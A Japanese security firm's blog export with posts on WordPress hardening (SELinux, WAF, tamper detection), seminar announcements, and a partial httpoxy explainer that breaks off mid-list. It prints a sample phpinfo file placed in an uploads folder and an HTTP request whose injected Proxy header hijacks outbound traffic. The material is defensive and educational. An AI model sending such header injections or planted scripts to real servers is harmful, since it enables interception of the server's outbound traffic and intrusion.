<li>実績が多く、適時メンテナンスされているテーマやプラグインを選択する</li>
<li>適切なアカウント管理をする</li>
</ul>
<p>これらは必須対策と言っても過言ではありません。そして、この3点が重要になる理由は次の通りです。</p>
<ul>
<li>古いWordPressには既知の脆弱性が存在する(もちろんOS・ミドルウェアも!)</li>
<li>テーマやプラグインは危険な脆弱性が含まれていることが多い</li>
<li>脆弱性が存在しなくてもログインを許せば乗っ取られてしまう</li>
</ul>
<p>既知の脆弱性には攻撃方法が公開されているものも存在します。適時のアップデートは不具合が発生するリスクも存在しますが、セキュリティファーストの考え方から最も重要な施策です。</p>
<p>WordPress本体は力量の高いメンバーが開発しており、また広く利用されていることから、多くの人のチェックが行われています。<br>
それに対してテーマやプラグインは個人開発である場合も多く、結果として脆弱性が作り込まれやすくなります。<br>
利用者は脆弱性が発見された場合でも素早く対応しているテーマやプラグインを選択する必要があるのです。
また、使わないプラグインは無効化ではなく「削除」することも重要です。 脆弱性が存在するプラグインは、無効化されていたとしても外部からの直接起動で悪用される危険性があります。
</p>
<p>適切なアカウント管理も忘れてはいけません。脆弱なパスワードが使用されていないか、不要なアカウントが残っていないかなど定期的な棚卸が重要です。</p>
<p>弊社ではOS・ミドルウェア・WordPressの適時のアップデートに加え、二段階認証や管理画面へのIPアドレス制限を行っています。また、CentOS7で利用するパッケージに関しては運用管理の容易性から全て標準リポジトリのものを利用する方針で設計しています。</p>
<h1 id="os-">OS・ミドルウェアからセキュリティを強化する</h1>
<p>一口にWordPressの設定と言っても、WordPressの設定ファイルである<code>wp-config.php</code>だけに注目すればよいわけではありません。 自前でWordPressをインストールしているならば、ファイルシステムやミドルウェアを含めたセキュリティ施策も重要になります。
WordPressは単なるPHPプログラムの集合群ですから、利用者はそれらPHPプログラムの動作範囲を適切にコントロールする必要があります。
</p>
<p>コントロールしなければならない部分の一例として、ファイルアップロード機能があります。通常<code>"wordpress/wp-contents/uploads"</code>ディレクトリのようにアップロードされたファイルを保存する場所はhttpdからの書き込みが許可されています。<br>WordPressの初期設定を行っただけの状態で、この場所に次のような.phpファイルを置いて外部から参照した場合どうなるでしょうか。</p>
<p><pre class="brush: php;">
<?php phpinfo();
</pre></p>
<p><code>phpinfo();</code>が実行され、Webサーバーの設定情報が確認できることは想像に難くありません。そして、これが遠隔操作プログラム(いわゆるWebShell)だった場合には任意のコマンドが実行できます。<br>この例は通常管理者のみ実施可能な操作ですが、WordPress本体やテーマ、プラグインの脆弱性を悪用されてファイルをアップロードされたり、ファイルを作成されてしまう可能性を<strong>想定しておく</strong>必要があります。</p>
<p>では、どのように対策をすればよいのでしょうか。この様な事象に対しては、書き込みを許可しているディレクトリで.phpファイルが実行できないようにWebサーバー側で対処するという方法があります。Apache HTTPDではHandlerでPHPを実行できないようにする事などが対策になります。</p>
<p>とはいうものの、最近のWordPressではデフォルトでマイナーアップデートの自動更新が有効ですから、全ての書き込み可能なディレクトリでPHPの実行を制限することが困難だという現実もあります。</p>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZNSG_avpF1scZMWZ40978PolY0ivmKKamBycMXw2YFoMtD6DQuBRQtCPxxaWE0yDgsZTC-LaeFE3Ff9mofHCVq3UQP-Kug_e38TDWw3fFHctGxW1eGiPv8fikrU3gbB_WMUu4kTOIWUf8/s1600/hacker-phpinfo.png" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZNSG_avpF1scZMWZ40978PolY0ivmKKamBycMXw2YFoMtD6DQuBRQtCPxxaWE0yDgsZTC-LaeFE3Ff9mofHCVq3UQP-Kug_e38TDWw3fFHctGxW1eGiPv8fikrU3gbB_WMUu4kTOIWUf8/s400/hacker-phpinfo.png" width="400" height="254" /></a>
<h1 id="selinux-">SELinuxのすすめ</h1>
<p>そこであわせてお勧めするのが、弊社でも導入している<code>SELinux</code>です。</p>
<p>サーバーをセットアップする際、最初に停止されることで定評(?)のある<code>SELinux</code>ですが、WordPressの動作をコントロールする上では有用です。</p>
<p>そもそも<code>SELinux</code>とは何でしょうか。<code>SELinux</code>は「強制アクセス制御」を行うためのセキュリティ拡張機能です。<strong>強制</strong>アクセス制御を実現しますから、正しく設定を行うことによってroot特権すらもコントロールすることができます。</p>
<p>ファイルシステムのパーミッションのみではなく、最小権限の原則に基づいてhttpdプロセスからのアクセス制御を細かく制限することによりアクセスコントロールを強化します。</p>
<h2 id="selinux-">SELinuxの導入で何ができるか</h2>
<p>前述の通り<code>SELinux</code>はプロセスレベルのアクセス制御を提供します。Webサーバーからのメール送信やネットワーク経由のDB接続に関するコントロール、httpdから読み込み可能なファイルの指定、ファイル書き込みを許可するスクリプトファイルの指定等を行うことができます。</p>
<p>たとえば、WordPressのプラグインにファイル書き込みが可能な脆弱性があった場合でも、あらかじめ<code>SELinux</code>のポリシー設定で該当プラグインにファイル書き込み禁止のポリシーを適用しておくことで攻撃を防御することが可能です。</p>
<p>たとえば、<code>SELinux</code>では"httpd_sys_content_t"というタイプのコンテキストをファイルやディレクトリに設定することで、httpdに対して読み込みに限定した許可を設定することができます。コンテキストの設定は<code>policycoreutils-python</code>パッケージに含まれる<code>semanage</code>コマンドを利用すると便利です。</p>
<p>また、次のコマンドでは現在指定されているコンテキストが確認できます。</p>
<pre class="brush: plain;">
# 現在の値を確認
$ ls -dZ /var/www/html
drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /var/www/html
# 設定ポリシーを確認
$ sudo semanage fcontext -l | grep "/var/www"
/var/www(/.*)? all files system_u:object_r:httpd_sys_content_t:s0
</pre>
<p>出力結果から"httpd_sys_content_t"と記載されていることがわかります。 <br>コンテキストは":"で区切られており、"ユーザー:ロール:タイプ:セキュリティレベル"の順で記載されています。
</p>
<p>WordPressに<code>SELinux</code>を適用する場合ではコアファイルによるテンポラリーファイルの作成や画像のアップロードなどが想定されるため、コアファイルにスクリプト実行権限を与え、ファイルを読み書きするディレクトリには書き込み権限を与える必要が出てきます。</p>
<p>まとめると下記の組み合わせにより、より強固なセキュリティを実現できるということです。
<ul>
<li>スクリプトファイルを設置しないディレクトリでスクリプト実行を無効化</li>
<li><code>SELinux</code>によるアクセス制限を設定</li>
</ul>
</p>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVJxBS6rXexFpJOymZzNFCuSjNO_eRz_Vx0wNz-xc2TZVFHF5N60gu8KZfo8J36pWgAlFKDyb7TQ4oKHm-9Wc_ArMvdi35iUS9q55fer2-YuXKzPRPP3S30UG7EtoBOY7iqJKkn_SC_iXJ/s1600/hacker-selinux.png" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVJxBS6rXexFpJOymZzNFCuSjNO_eRz_Vx0wNz-xc2TZVFHF5N60gu8KZfo8J36pWgAlFKDyb7TQ4oKHm-9Wc_ArMvdi35iUS9q55fer2-YuXKzPRPP3S30UG7EtoBOY7iqJKkn_SC_iXJ/s400/hacker-selinux.png" width="400" height="253" /></a>
<h2 id="selinux-">SELinuxの副作用</h2>
<p><code>SELinux</code>は非常に強力ですが、<code>SELinux</code>により<strong>最小権限の原則</strong>を実現することで問題になる部分があります。それは、WordPressの自動アップデートです。<code>SELinux</code>はスクリプトからの書き込みを制御することができますが、厳しく制御してしまうと、一種のスクリプトである自動アップデート機能も制限を受けてしまいます。スクリプトからの書き込みを禁止するということは、同時にスクリプトを利用したファイル更新も制限することになるからです。</p>
<p>弊社では、この問題を<code>wp-cli</code>を利用することで解決しています。<code>wp-cli</code>はWordPressを管理するためのコマンドラインツールです。設定変更やアップデートをブラウザにアクセスすることなく実行することが出来ます。<code>SELinux</code>ではプロセスレベルで制限をかけて、<code>wp-cli</code>を利用したローカルアクセスを許容することで解決します。</p>
<h1 id="waf">WAF</h1>
<p>弊社のサイトではウェブアプリケーションファイアウォール(以後WAF)を導入しています。WAFはアプリケーションに存在する脆弱性へ防御機能を提供するものです。あらかじめ用意されている膨大なシグネチャ(ブラックリスト・ホワイトリスト)を利用してサイトに合わせたカスタマイズを行うことで、攻撃を検知して遮断することが出来ます。また、有名な攻撃に対しては専用のシグネチャが提供されることが多く、自分でルールを作成することもできます。</p>
<p>WAFのメリットは安全性の底上げと脆弱性対策の容易性確保です。クロスサイト・スクリプティングやSQLインジェクションなどの脆弱性に関しては多くの場合に既存のシグネチャで防御できます。新たな脆弱性に関してもシグネチャの更新のみで対応可能なことが多いです。</p>
<h1 id="-">改ざん検知</h1>
<p>適時のアップデートを実施し、ファイルシステムと<code>SELinux</code>を組み合わせたアクセス制御と共にWAFによる防御を行っていたとしても、攻撃を受けてしまう可能性を完全に排除することはできません。そこで、ファイルの作成や書き換えが発生した場合に状態変化を検知する仕組みとして弊社では<code>inotify</code>を利用した改ざん検知を行っています。</p>
<p><code>inotify</code>はLinuxカーネル2.6.13から組み込まれた機能です。カーネル上で動作するため比較的高速に動作します。
<code>inotify</code>を活用するためには<code>inotify-tools</code>を利用することが多いと思いますが、現時点でCentOS7の標準リポジトリには含まれていません。そこで、弊社では<code>pyinotify</code>というPythonのライブラリを利用して改ざん検知用のスクリプトを作成し、<code>systemd</code>によるデーモン化を行っています。検知ログに関してはsyslogへの出力も実施していますが、同時にslack通知を行うことでログが埋もれないようにしています。</p>
<p>万が一の事態に備えて迅速な検知を行うことは、攻撃兆候の発見に繋がります。結果として実際に攻撃される前に対処できる場合もあるため、改ざん検知は重要な施策になります。</p>
<h1 id="hash-">HASHコンサルティングのミッション</h1>
<p>私たちのミッションは、増え続けるサイバーセキュリティの課題に対して本質的な解決策を提供することです。</p>
<p>HASHコンサルティングのサービスではこれらの施策を含めたご提案も実施致します。みなさまのWordPressサイトのセキュリティ強化に貢献できるよう日々精進いたしますので、今後ともよろしくお願いいたします。</p>
<p>なお、サービスの詳細につきましては、弊社公式サイトの以下のページをご参照ください。</p>
<p><strong>WordPressサイトのセキュリティ強化支援サービス</strong></p>
<p><a href="https://www.hash-c.co.jp/service/wordpress_security/">https://www.hash-c.co.jp/service/wordpress_security/</a></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-61481833801772988932016-10-26T10:33:00.000+09:002017-07-18T14:08:06.524+09:00WordPressとセキュリティ「ゆりかごから墓場まで」こんにちは。HASHコンサルティングの松本隆則です。<br />
今回は弊社のWordPressに対する取り組みについてお話させていただきます。<br />
<br />
<h2>
KUSANAGI Ready プロジェクト</h2>
<div>
HASHコンサルティングは、プライム・ストラテジー株式会社(<a href="https://www.prime-strategy.co.jp/" target="_blank">https://www.prime-strategy.co.jp/</a>)と共に、WordPressの主要なプラグインやテーマを検証し、一定の水準をクリアしているプラグインやテーマを公表する「KUSANAGI Ready プロジェクト」の運営を開始いたしました。<br />
<br />
本プロジェクトの詳細については、以下のサイトをご参照ください。</div>
<div>
<a href="http://ready.kusanagi.tokyo/" target="_blank">http://ready.kusanagi.tokyo/</a></div>
<div>
<br /></div>
<h2>
WordPressセキュリティ強化サービス</h2>
<div>
ところで、弊社徳丸は、ブログ執筆やイベントでの登壇などの様々な場面でWordPressに関わっています。</div>
<div>
<ul>
<li>WordPressの侵入対策は脆弱性管理とパスワード管理を中心に考えよう<br /><a href="http://blog.tokumaru.org/2015/12/wordpress-security.html" target="_blank">http://blog.tokumaru.org/2015/12/wordpress-security.html</a></li>
<li>WordCamp<br /><a href="https://2016.tokyo.wordcamp.org/09/08/interview-wordpress-and-security/" target="_blank">https://2016.tokyo.wordcamp.org/09/08/interview-wordpress-and-security/</a><br /><a href="http://www.slideshare.net/ockeghem/wordcamptokyo2015" target="_blank">http://www.slideshare.net/ockeghem/wordcamptokyo2015</a></li>
</ul>
<div>
上記のWordPressとの関わり、および、「KUSANAGI Ready プロジェクト」の共同運営開始を発表したことを受けて、WordPressで構築されたサイトに特化したセキュリティ関連サービスをご案内いたします。</div>
</div>
<div>
<br /></div>
<div>
<h3>
WordPressとセキュリティ</h3>
WordPressは非常に使い勝手の良いCMS(コンテンツ・マネジメント・システム)のため、世界中で普及していて日本でも人気が高いです。しかし、WordPressをセキュアに構築・運用するための知見は広く普及しているとは言えません。<br />
<br />
また、WordPressは、製品のコア部分だけではなく、テーマやプラグインに対しても、セキュリティ向上のために継続的な対応が必要です。<br />
<br />
<div style="text-indent: 0px;">
<div>
<div>
そのため、一般的な脆弱性診断を受けての対症療法だけでは、セキュアなサイトの構築や運用を効果的に進めることができません。<br />
<br /></div>
</div>
<h3>
WordPressサイトのセキュリティを強化する</h3>
<div>
そこで、HASHコンサルティングは、多くのセキュリティ対策の実績に裏打ちされた経験を活かして、お客様のご要望にマッチするカスタムメイドのWordPressサイト向けセキュリティ強化サービスをご提案いたします。</div>
<div>
<div>
本サービスは、WordPressサイトの開発ライフサイクル(企画、開発、試験、運用)それぞれのフェーズで効果的なソリューションです。</div>
</div>
</div>
</div>
<table bgcolor="#4682B4" border="0" cellpadding="5" cellspacing="1">
<thead>
<tr>
<th style="background-color: steelblue; color: white;">ライフサイクル</th>
<th style="background-color: steelblue; color: white;">対応するサービス</th>
<th style="background-color: steelblue; color: white;">サービスの具体例</th>
</tr>
</thead>
<tbody>
<tr>
<td style="background-color: white; color: #666666;">企画・開発</td>
<td style="background-color: white; color: #666666;">サイト設定支援</td>
<td style="background-color: white; color: #666666;">OSやWebサーバ、WordPress本体などに適用すべきセキュリティ関連設定を体系化</td>
</tr>
<tr>
<td rowspan="3" style="background-color: white; color: #666666;">試験・運用</td>
<td style="background-color: white; color: #666666;">脆弱性診断</td>
<td style="background-color: white; color: #666666;">カスタムテーマの脆弱性について効果的な診断を実施</td>
</tr>
<tr>
<td style="background-color: white; color: #666666;">WAF連携支援</td>
<td style="background-color: white; color: #666666;">WordPressサイトの運用に適したWAFの導入・設定</td>
</tr>
<tr>
<td style="background-color: white; color: #666666;">教育・技術指導</td>
<td style="background-color: white; color: #666666;">WordPress運用者向け講習会</td>
</tr>
</tbody>
</table>
<br />
なお、サービスの詳細につきましては、弊社公式サイトの以下のページをご参照ください。<br />
<b>WordPressサイトのセキュリティ強化支援</b><br />
<a href="https://www.eg-secure.co.jp/service/wordpress_security/" target="_blank">https://www.eg-secure.co.jp/service/wordpress_security/</a><br />
<br />
<br />
<h2>
HASHコンサルティングのミッション</h2>
<div>
私たちのミッションは、増え続けるサイバーセキュリティの課題に対して本質的な解決策を提供することです。<br />
<br />
本記事でご紹介したHASHコンサルティングのサービスにて、みなさまのWordPressサイトのセキュリティ強化に貢献できるよう日々精進いたしますので、今後ともよろしくお願いいたします。</div>
nilfigohttp://www.blogger.com/profile/03454023390928228991noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-37127100179324384752016-09-06T10:19:00.000+09:002017-07-18T14:09:57.621+09:00私は如何にして心配するのを止めてOWASP ZAPハンズオンセミナーを愛するようになったかはじめまして。HASHコンサルティングでエンジニアをしている松本隆則と申します。<br />
<h2>
<div style="font-size: medium; font-weight: normal;">
弊社一ノ瀬に続き、私もHASHコンサルティング株式会社公式ブログを更新していくことになりましたので、よろしくお願いいたします。</div>
<div style="font-size: medium; font-weight: normal;">
というわけで、従業員の投稿第2弾はHASHコンサルティングの新サービスの話です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
</h2>
<h2>
新サービスについて</h2>
<h2>
</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
HASHコンサルティング株式会社は、2016年8月24日に「脆弱性検査ハンズオンセミナー with OWASP ZAP」というサービスの開始を発表いたしました。</div>
</h2>
<div style="font-size: medium; font-weight: normal;">
本サービスは、OWASP ZAPというオープンソースのツールによる脆弱性検査の手法を、ハンズオン形式で解説するセミナーです。</div>
<div style="font-size: medium; font-weight: normal;">
ご参加者のニーズに合わせて、二つのコースをご用意しております。</div>
<div style="font-size: medium; font-weight: normal;">
</div>
<ul style="font-size: medium; font-weight: normal;">
<li>ウェブ健康診断 with OWASP ZAP</li>
<li>OWASP ZAP Maniacs</li>
</ul>
<div style="font-size: medium; font-weight: normal;">
</div>
<h3>
「ウェブ健康診断 with OWASP ZAP」コース</h3>
<h2>
<div style="font-size: medium; font-weight: normal;">
2008年に財団法人地方自治情報センター(LASDEC)により策定され、現在は維持・発展に係る業務が独立行政法人情報処理推進機構(IPA)に移管された「ウェブ健康診断仕様」に準拠した脆弱性検査を、OWASP ZAPにより効率良く実施する手法をお伝えいたします。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
</h2>
<h3>
「OWASP ZAP Maniacs」コース</h3>
<h2>
<div style="font-size: medium; font-weight: normal;">
クロスサイト・スクリプティングやSQLインジェクションのような主要な脆弱性の本質を理解したい方や、OWASP ZAPの「裏ワザ」が知りたい方を対象に、脆弱性の詳細な解説およびOWASP ZAPを使用して脆弱性を検出する方法をお伝えいたします。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
以上のふたつのコースにより、開発フェーズからの継続的な脆弱性診断をOWASP ZAPで効率よく実施できます。</div>
</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
それぞれのコースの具体的な内容については、HASHコンサルティングのサービス案内ページをご参照ください。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
<a href="https://www.hash-c.co.jp/services/handsonseminar.html" target="_blank">脆弱性検査ハンズオンセミナー with OWASP ZAP</a><br />
<br /></div>
</h2>
<h2>
脆弱性診断研究会</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeH84FFeVOvjWOQGnU2P6RKLOJcMVKzRRzzqfs4-b96_jC7sl6yphyphenhyphenlNWXC-6FEn3-mx12S-QGif5ktb1PigiXCLKTi-oYAMdCof0aFdVg_7LNQ_CELTjwwaX9yuRL_UIS-JlEJyZnS_VX/s1600/setsumeikai_seminar.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeH84FFeVOvjWOQGnU2P6RKLOJcMVKzRRzzqfs4-b96_jC7sl6yphyphenhyphenlNWXC-6FEn3-mx12S-QGif5ktb1PigiXCLKTi-oYAMdCof0aFdVg_7LNQ_CELTjwwaX9yuRL_UIS-JlEJyZnS_VX/s200/setsumeikai_seminar.png" width="200" /></a>私は、2014年8月に「脆弱性診断研究会(Security Testing Workshop)」を立ち上げて以来、毎月、ハンズオンセミナーを開催しており、延べ開催数は30回を超えています。<br />
セミナーのテーマは脆弱性診断の考え方や手法の解説です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
毎回、<a href="https://www.coworking.tokyo.jp/" target="_blank">コワーキングスペース茅場町 Co-Edo</a>様のセミナールームを使用しているので、参加者は既定の利用料金(ドロップイン料金)をCo-Edo様に支払う必要がありますが、脆弱性診断研究会としては料金を一切頂いておりません。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
ちなみに、セミナーを受講する場合に支払う料金は、コワーキングスペースを利用する際のドロップイン料金でもあるため、セミナー開始時間前にコワーキングスペースに入場して、持ち込んだPCで好きな作業をしながら開始を待つことも可能です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
それでは、何故、私は毎月手弁当で平日仕事が終わった後にハンズオンセミナーを開催しているのでしょうか。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
また、何故、HASHコンサルティングは、自社の脆弱性診断ノウハウを世間に晒すようなセミナーをサービス化したのでしょうか。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
その理由は脆弱性診断に対する10年来の私の「悩み」にあります。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
</h2>
<h2>
セキュリティエンジニアとしての悩み</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
私の脆弱性診断に対する悩みは、診断業務に関わり始めた10年前と現在とで、検出される脆弱性の「質」がほとんど変わらない、という事実です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
例えば「クロスサイト・スクリプティング」。以下のサイトによると、1999年から2000年にかけて、CERT/CCとMicrosoftにより脆弱性の脅威が勧告されています。</div>
<div style="font-size: medium; font-weight: normal;">
<ul>
<li>http://www.cert.org/historical/advisories/CA-2000-02.cfm</li>
<li>https://blogs.msdn.microsoft.com/dross/2009/12/15/happy-10th-birthday-cross-site-scripting/</li>
</ul>
</div>
<div style="font-size: medium; font-weight: normal;">
クロスサイト・スクリプティング脆弱性の仕組みや脅威について、15年以上も前に影響力の大きな組織や機関により示されているにも関わらず、未だにさまざまなウェブアプリケーションで検出され続けています。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
クロスサイト・スクリプティング以外の、よく知られている脆弱性の一つである「SQLインジェクション」も、以前より頻度は低くなっていますが、さまざまな製品で毎月のように検出され公表されています。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
世の中に知られるようになってから10年以上経っている脆弱性が今だに検出され続ける原因を、ウェブアプリケーション開発エンジニアの不勉強さに求めるのは簡単ですが、本当に開発エンジニア「だけ」の責任なのでしょうか。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
正直、明確な答えは出ないままなのですが、ふとしたきっかけで、脆弱性診断会社やセキュリティエンジニアは、ウェブアプリケーションを開発・運営するお客様に対して、今までと異なるアプローチをかける必要があるのではないか、と思うようになりました。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
</h2>
<h2>
または私は如何にして心配するのを止めてハンズオンセミナーを愛するようになったか</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
ふとしたきっかけというのは、「もくもく会」への参加です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
2014年の某月某日、ウェブアプリケーションを構築するために採用を考えていたJavaのフレームワーク「Play! Framework」の「もくもく会」が、コワーキングスペース茅場町 Co-Edo様で開催されました。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
もくもく会とは、エンジニアが数名集まって、特定のプログラム言語や製品に関連するテーマに沿って、開発環境の構築やシステム開発などの作業を、文字通り黙々と行う、というイベントです。実際は、必ずしも終始無言で作業を進めるわけではなく、エンジニア同士がお互いにあれこれ会話を交わしながらの作業になることも多いです。</div>
<div style="font-size: medium; font-weight: normal;">
何度かもくもく会に参加したおかげで、独学で勉強するよりも多くの知見が得られ、さまざまな情報を共有することができました。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
大げさですが、このときの他のエンジニアとの「邂逅」が、脆弱性診断研究会立ち上げのきっかけとなりました。</div>
<div style="font-size: medium; font-weight: normal;">
さらに、より多くの方々との交流を目指すためと、非公認でOWASP ZAPのハンズオンセミナーを実施している「後ろめたさ」を解消するために、2016年の某月某日に開催されたOWASP Japanのイベント会場で、OWASP Japanプロモーションチームのリーダーにお声掛けしてチームに参加させていただいています。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
OWASP Japanプロモーションチームおよび脆弱性診断研究会の活動を通じて知り合った素敵な方々から刺激を受けて、セミナー継続のモチベーションは上がる一方です。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
</h2>
<h2>
脆弱性検査ハンズオンセミナーのススメ</h2>
<h2>
<div style="font-size: medium; font-weight: normal;">
以上のような思いから始めたセミナーの開催経験を仕事で活かすために、HASHコンサルティングのサービスとしてもハンズオンセミナーを実施することになりました。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
平日の仕事帰りに時間が取れるエンジニアやウェブアプリケーション管理者は、脆弱性診断研究会によるハンズオンセミナーを受講していただけると嬉しいですが、仕事が忙しくてなかなか時間が取れない方も多いと思います。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
弊社の脆弱性検査ハンズオンセミナーは、原則として、平日の営業時間内に、お客様のもとへ伺ってハンズオンセミナーを開催いたします。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
例えば、上司として部下にハンズオンセミナーを受けてもらいたいと思っても、定時後に開催されるセミナーの受講を強制するのは色んな意味で難しいですが、従業員の勤務時間内に自社内で実施されるセミナーへの出席は業務として指示できるのでオススメです(^^♪</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
会社や組織として、脆弱性診断の考え方や手法などのノウハウを組織内部に蓄積したいとお考えでしたら、「脆弱性検査ハンズオンセミナー with OWASP ZAP」についてお気軽にお問い合わせいだだけると幸甚に存じます。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
<a href="https://www.eg-secure.co.jp/contact/" target="_blank">お問い合わせ</a></div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<div style="font-size: medium; font-weight: normal;">
<div style="font-size: medium; font-weight: normal;">
本サービスがウェブアプリケーションの脆弱性を少しでも減らすことに役立つことを願ってやみません。</div>
<div style="font-size: medium; font-weight: normal;">
<br /></div>
<hr />
<br />
<a href="http://www.irasutoya.com/2014/07/blog-post_14.html" target="_blank">いらすとや</a></div>
</h2>
<div>
<table style="background-color: white; border-collapse: collapse; border-left: 1px solid rgb(217, 217, 217); border-spacing: 0px; box-sizing: border-box; color: #4a4a4a; display: block; font-family: "Helvetica Neue", Helvetica, "ヒラギノ角ゴ ProN W3", "Hiragino Kaku Gothic ProN", メイリオ, Meiryo, sans-serif; font-size: 16.1px; line-height: 23px; margin: 1em 0px; overflow: auto;"><tbody style="box-sizing: border-box;">
</tbody></table>
</div>
nilfigohttp://www.blogger.com/profile/03454023390928228991noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-84969127569322855302016-07-23T15:38:00.000+09:002016-07-23T16:28:10.092+09:00httpoxyでAffected指定されているけどPoCが無いフレームワークで再現試験をした話はじめまして。HASHコンサルティングでエンジニアをしている一ノ瀬と申します。 <br />
<a href="https://www.blogger.com/blogger.g?blogID=3279382045519981789" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="https://www.blogger.com/blogger.g?blogID=3279382045519981789" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="https://www.blogger.com/blogger.g?blogID=3279382045519981789" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a>ご存知の通り、現在HASHコンサルティングは現在も積極的にセキュリティエンジニアを募集しています。従業員も少しずつ増えてきましたので、今回の投稿から弊社の代表である徳丸と共に従業員もHASHコンサルティング株式会社公式ブログを更新していくことになりましたので、よろしくお願いいたします。<br />
というわけで、従業員の投稿第1弾は2016/7/19に公開され話題となったhttpoxyの話です。<br />
<br />
httpoxyは警視庁による注意喚起もされており、非常に注目を集めています。<br />
<blockquote class="twitter-tweet" data-lang="ja">
<div dir="ltr" lang="ja">
“[PDF] CGI 等を利用するウェブサーバの脆弱性(httpoxy)を標的としたアクセスの観測について - 警察庁 (平成28年7月20日)” <a href="https://t.co/DE7LG7MwQC">https://t.co/DE7LG7MwQC</a></div>
— 徳丸 浩 (@ockeghem) <a href="https://twitter.com/ockeghem/status/755688148374478848">2016年7月20日</a></blockquote>
<script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>
<br />
まずは脆弱性の内容を簡単に整理してみたいと思います。 httpoxyの根本的な原因はCGIの仕様と一般的に利用される環境変数との名前空間の衝突です。そのため、CGIやCGIライクな環境を利用している場合にhttpoxyの影響を受ける可能性があります。<br />
<br />
<h1 id="-">
具体的な動作</h1>
CGIはクライアントが送信したHTTP リクエストヘッダの情報を環境変数に設定する際に次の処理を行うようにRFC3875にて規定されています。<br />
<ul>
<li>大文字に変換</li>
<li>ハイフン<code>"-"</code>をアンダースコア<code>"_"</code>に変換</li>
<li>名前の先頭に<code>"HTTP_"</code>を付与</li>
</ul>
その結果として、ProxyというHTTPリクエストヘッダが付与されていた場合に環境変数HTTP_PROXYが設定されることとなります。<br />
<br />
例えば次のリクエストがあった場合、<br />
<br />
<pre class="brush: text">GET /index.php HTTP/1.1
Host: foo.example.com
Proxy: 10.0.0.1:8080
</pre>
<br />
CGIの動作により次の環境変数がセットされます。
<br />
<pre class="brush: shell">HTTP_PROXY=10.0.0.1:8080
</pre>
<br />
ただし、この動作だけで問題が発生するわけではありません。HTTP_PROXYという環境変数は、一般的にCLIで利用されるコマンドベースのアプリケーションがProxyサーバを利用する際に参照するものであるため、この脆弱性が存在するWebサーバが環境変数を参照して外部通信を行う場合に次の問題が発生します。<br />
<ul>
<li>内部サーバ宛てhttp通信の盗聴</li>
<li>外部サーバ宛てhttp通信の盗聴および改ざん(中間者攻撃)</li>
</ul>
<br />
<br />
<h1 id="-">
本脆弱性への対処</h1>
PHPでは最新の5.5.38, 5.6.24, 7.0.9, 7.1.0-bata1にてgetenv関数にlocal_onlyの引数を持つことが出来るようになる修正が含まれたことを確認しています。そして、今回利用しているフレームワークのArtaxでは2.0.4で修正が行われています。<br />
<br />
また、回避策としては大きく次の方法があります<br />
<ul>
<li>HTTPリクエストヘッダを書き変える<ul>
